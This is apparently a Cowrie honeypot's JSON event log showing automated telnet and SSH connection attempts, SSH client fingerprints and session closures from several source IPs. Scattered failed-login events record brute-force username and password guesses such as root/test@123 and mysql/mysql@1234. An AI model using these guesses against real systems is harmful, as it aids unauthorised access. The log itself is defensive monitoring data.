{"eventid":"cowrie.session.closed","duration":31.07681894302368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:05.048658Z","src_ip":"94.23.163.94","session":"3c83de2205c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:05.111172Z","src_ip":"176.65.139.103","session":"9403b477fa19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:06.215132Z","src_ip":"176.65.139.103","session":"9403b477fa19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":42040,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d0b60d3d42","protocol":"telnet","message":"New connection: 94.23.163.94:42040 (10.17.0.5:23) [session: e7d0b60d3d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:06.846097Z"}
{"eventid":"cowrie.session.closed","duration":34.05651092529297,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:07.656042Z","src_ip":"23.254.167.244","session":"8de06cf2078c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":49258,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a2e282faf32","protocol":"telnet","message":"New connection: 5.189.169.71:49258 (10.17.0.5:23) [session: 7a2e282faf32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:08.565603Z"}
{"eventid":"cowrie.session.closed","duration":41.03470778465271,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:10.049072Z","src_ip":"23.254.167.244","session":"9956c56b193e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649516105651855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:10.131790Z","src_ip":"5.189.169.71","session":"c3772ed8a0b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.730499744415283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:10.603466Z","src_ip":"5.189.169.71","session":"67e324814810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.431385278701782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:10.612454Z","src_ip":"5.189.169.71","session":"7f0dc462115a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44352,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b25a0a30d0","protocol":"ssh","message":"New connection: 176.65.139.103:44352 (10.17.0.5:22) [session: d1b25a0a30d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:11.406525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:11.411336Z","src_ip":"176.65.139.103","session":"d1b25a0a30d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:11.578856Z","src_ip":"176.65.139.103","session":"d1b25a0a30d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":35634,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f2693a1164","protocol":"telnet","message":"New connection: 5.189.178.126:35634 (10.17.0.5:23) [session: 69f2693a1164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:11.697016Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:11.988785Z","src_ip":"176.65.139.103","session":"d1b25a0a30d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.574279069900513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:12.025419Z","src_ip":"94.23.163.94","session":"3d9520166a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23866057395935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:12.059802Z","src_ip":"94.23.163.94","session":"0c5ceeec9115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795864820480347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:13.077181Z","src_ip":"5.189.169.71","session":"ea11dbe76c5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71305751800537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:13.082158Z","src_ip":"5.189.169.71","session":"6575b2c94d84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:13.127213Z","src_ip":"176.65.139.103","session":"d1b25a0a30d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.108.71.177","src_port":53760,"dst_ip":"159.203.135.109","dst_port":23,"session":"de7edce83b9e","protocol":"telnet","message":"New connection: 65.108.71.177:53760 (159.203.135.109:23) [session: de7edce83b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:13.525078Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":55740,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d83d3b9a328","protocol":"telnet","message":"New connection: 94.23.163.94:55740 (10.17.0.5:23) [session: 9d83d3b9a328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:13.574959Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50356,"dst_ip":"159.203.135.109","dst_port":23,"session":"a01db0d3cb55","protocol":"telnet","message":"New connection: 23.254.167.244:50356 (159.203.135.109:23) [session: a01db0d3cb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:14.109236Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49006,"dst_ip":"159.203.135.109","dst_port":23,"session":"de0d398b193d","protocol":"telnet","message":"New connection: 23.254.167.244:49006 (159.203.135.109:23) [session: de0d398b193d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:14.364203Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.108.71.177","src_port":53776,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0ed355bf2bb","protocol":"telnet","message":"New connection: 65.108.71.177:53776 (159.203.135.109:23) [session: b0ed355bf2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:14.546531Z"}
{"eventid":"cowrie.session.closed","duration":30.320406198501587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:15.074111Z","src_ip":"5.189.169.71","session":"44e4e6da22ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844236612319946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:15.079256Z","src_ip":"5.189.169.71","session":"2b978eb9f1db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64329433441162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:15.416919Z","src_ip":"94.23.163.94","session":"6a3d02f9500b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.57615852355957,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:16.393677Z","src_ip":"23.254.167.244","session":"27a300b45cf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846452236175537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:17.207690Z","src_ip":"5.189.169.71","session":"782938f12f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011569261550903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:17.923505Z","src_ip":"5.189.178.126","session":"23e6aa0cfcb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":55746,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec20a9f1ceb3","protocol":"telnet","message":"New connection: 94.23.163.94:55746 (10.17.0.5:23) [session: ec20a9f1ceb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:18.611603Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60780,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fbbe629b01b","protocol":"ssh","message":"New connection: 176.65.139.103:60780 (10.17.0.5:22) [session: 5fbbe629b01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:18.672363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:18.676269Z","src_ip":"176.65.139.103","session":"5fbbe629b01b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:18.757727Z","src_ip":"176.65.139.103","session":"5fbbe629b01b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:19.013937Z","src_ip":"176.65.139.103","session":"5fbbe629b01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1744065284729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:19.370444Z","src_ip":"149.202.139.27","session":"c004070b1e5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":55752,"dst_ip":"10.17.0.5","dst_port":23,"session":"30b1f8125c68","protocol":"telnet","message":"New connection: 94.23.163.94:55752 (10.17.0.5:23) [session: 30b1f8125c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:19.847402Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:20.338398Z","src_ip":"176.65.139.103","session":"5fbbe629b01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8964204788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:21.099488Z","src_ip":"94.23.163.94","session":"fa1054025521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":38876,"dst_ip":"10.17.0.5","dst_port":22,"session":"6117f4ab90fb","protocol":"ssh","message":"New connection: 20.244.18.126:38876 (10.17.0.5:22) [session: 6117f4ab90fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:22.653707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:22.658076Z","src_ip":"20.244.18.126","session":"6117f4ab90fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.44649577140808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:22.696697Z","src_ip":"94.23.163.94","session":"e8070ee56ca5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:22.851083Z","src_ip":"20.244.18.126","session":"6117f4ab90fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.970984935760498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:23.057323Z","src_ip":"5.189.169.71","session":"d44dfe4869b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"dev12","message":"login attempt [ubuntu/dev12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:23.657112Z","src_ip":"20.244.18.126","session":"6117f4ab90fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.775578022003174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:24.142576Z","src_ip":"94.23.163.94","session":"52d21f61eb70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28679347038269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:24.197625Z","src_ip":"94.23.163.94","session":"15f8d31a8167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":46986,"dst_ip":"10.17.0.5","dst_port":23,"session":"42003faf36c9","protocol":"telnet","message":"New connection: 94.23.163.94:46986 (10.17.0.5:23) [session: 42003faf36c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:24.251455Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45478,"dst_ip":"159.203.135.109","dst_port":22,"session":"e151a466dfa1","protocol":"ssh","message":"New connection: 159.203.92.129:45478 (159.203.135.109:22) [session: e151a466dfa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:24.418482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:24.425535Z","src_ip":"159.203.92.129","session":"e151a466dfa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:24.432116Z","src_ip":"159.203.92.129","session":"e151a466dfa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"pass","message":"login attempt [anna/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:24.444267Z","src_ip":"159.203.92.129","session":"e151a466dfa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:24.852532Z","src_ip":"20.244.18.126","session":"6117f4ab90fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.395739555358887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:25.039033Z","src_ip":"94.23.163.94","session":"e1cc487ba5ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702566146850586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:25.087453Z","src_ip":"94.23.163.94","session":"f459e20bca09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:25.483474Z","src_ip":"159.203.92.129","session":"e151a466dfa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":46994,"dst_ip":"10.17.0.5","dst_port":23,"session":"94edc00bb3cd","protocol":"telnet","message":"New connection: 94.23.163.94:46994 (10.17.0.5:23) [session: 94edc00bb3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:26.090127Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55426,"dst_ip":"10.17.0.5","dst_port":22,"session":"cabf643cfdec","protocol":"ssh","message":"New connection: 176.65.139.103:55426 (10.17.0.5:22) [session: cabf643cfdec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:26.219830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:26.237924Z","src_ip":"176.65.139.103","session":"cabf643cfdec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.270193099975586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:26.247964Z","src_ip":"94.23.163.94","session":"d9807578099a","protocol":"telnet"}
